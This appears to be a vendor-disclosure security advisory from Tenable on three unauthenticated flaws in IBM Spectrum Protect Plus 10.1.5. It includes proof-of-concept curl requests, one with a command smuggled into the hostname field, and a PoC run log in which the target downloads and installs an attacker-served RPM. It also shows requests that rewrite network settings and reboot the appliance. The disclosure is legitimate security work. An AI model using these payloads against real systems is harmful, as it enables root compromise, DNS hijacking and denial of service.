Tenable found multiple vulnerabilities in IBM Spectrum Protect Plus (SPP) 10.1.5 build 2204.
CVE-2020-4469: Unauthenticated Command Injection
Note: This is an incomplete fix to CVE-2020-4211.
IBM SPP 10.1.5-2181 and later attempt to address the vulnerability by single-quoting the hostname parameter supplied in the POST HTTP request to set the hostname of the SPP appliance. However, it is still vulnerable to command injection with following CURL command:
Proof of Concept
curl -ki --tlsv1.2 -H 'x-ac-sessionid: abcd' -d "hostname=';id >/tmp/cmd_injection;echo '" 'https://:8090/emi/api/hostname'
An unauthenticated, remote attacker can exploit this vulnerability to run arbitrary commands with root privileges.
CVE-2020-4470: Administrative Console Plugin Path Traversal Unauthenticated RCE
A path traversal vulnerability exists in the IBM SPP administrative console involving installing an administrative console plugin. An unauthenticated, remote attacker can exploit this vulnerability to upload an arbitrary file to a directory writable by the administrator account.
In one attack scenario, the attacker sends an HTTP request to the target requesting it to download an RPM package from an attacker-controlled URL. The attacker then sends another HTTP request to install the uploaded RPM package. The attacker can put malicious contents in the RPM (i.e., scriptlets) to achieve remote code execution with root privileges.
Proof of Concept
Spectrum Protect PoC Files
Attached is a python PoC script and a sample RPM package (attacker-rpm-1.0-0.noarch.rpm) that the attacker can upload and install. The sample RPM writes the output of the id command to /tmp/hacked on the SPP appliance. The PoC can be used as follows:
python3 ibm_spp_file_upload_rce_CVE-2020-4470.py -t <target_host> -r attacker-rpm-1.0-0.noarch.rpm
The PoC starts a local httpd to serve the RPM. Please make sure the user running the PoC has permission to bind a TCP port (default 8080)
The RPM spec (attacker-rpm.spec) file used to generate attacker-rpm-1.0-0.noarch.rpm is also attached.
The following shows a run of the PoC:
[root@host ibm]# python3 ibm_spp_file_upload_rce_CVE-2020-4470.py -t <target_host> -r attacker-rpm-1.0-0.noarch.rpm
Starting httpd on <attacker_host>:8080 to serve attacker-rpm-1.0-0.noarch.rpm, DocumentRoot /work/ibm
Requesting target <target_host> to download attacker-rpm-1.0-0.noarch.rpm from <attacker_host>:8080 and save it to /tmp on <target_host>
<target_host> - - [19/Apr/2020 21:11:08] "GET /attacker-rpm-1.0-0.noarch.rpm HTTP/1.1" 200 -
Installing /tmp/attacker-rpm-1.0-0.noarch.rpm on <target_host>
{"commandoutput":{"errorCode":"0","commandOutput":"","commandErrorOutput":""}}
CVE-2020-4471: Network Configuration Manipulation and Appliance Restart
A flaw exists in the IBM SPP administrative console due to lack of authentication on URL endpoint /emi/api/netconfig. An unauthenticated, remote attacker can get and set the network configuration of the SPP appliance by sending a specially crafted HTTP request to the endpoint.
Proof of Concept
In one attack scenario, the attacker first sends a GET request to the endpoint to obatain the current network configuration:
curl -ki --tlsv1.2 -H 'x-ac-sessionid: abcd' 'https://:8090/emi/api/netconfig'
{"hostname":"localhost","ip4prefix":"22","ninterface":"ens160","ip4address":"xxx.xxx.xxx.xxx","ip4gateway":"xxx.xxx.xxx.xxx","ip4dns":"xxx.xxx.xxx.xxx, xxx.xxx.xxx.xxx","ip4domainsearch":"some.search.domain","bootProtocol":"dhcp","connection":"ens160"}
The attacker then sends a POST request to the same endpoint to change the network configuration:
curl -ki --tlsv1.2 -H 'x-ac-sessionid: abcd' -H 'Content-Type: application/json' -d '{"hostname":"localhost","ip4prefix":"22","ninterface":"ens160","ip4address":"xxx.xxx.xxx.xxx","ip4gateway":"xxx.xxx.xxx.xxx","ip4dns":"xxx.xxx.xxx.xxx, xxx.xxx.xxx.xxx","ip4domainsearch":"changed.search.domain","bootProtocol":"static","connection":"ens160"}' 'https://:8090/emi/api/netconfig'
HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-Application-Context: application:8090
Date: Mon, 20 Apr 2020 00:33:18 GMT
Content-Type: application/json;charset=UTF-8
Transfer-Encoding: chunked
{"commandoutput":{"errorCode":"0","commandOutput":"All validation passed\nSaving configuration in /etc/sysconfig/network-scripts/ifcfg-ens160\n","commandErrorOutput":""}}
The java code handling the endpoint executes a python script to update the network configuration and the script reboots the appliance after the update.
Examples of attacks using this vulnerability include (but not limited to) DNS hijacking (by changing the DNS server) and DoS (rebooting the appliance).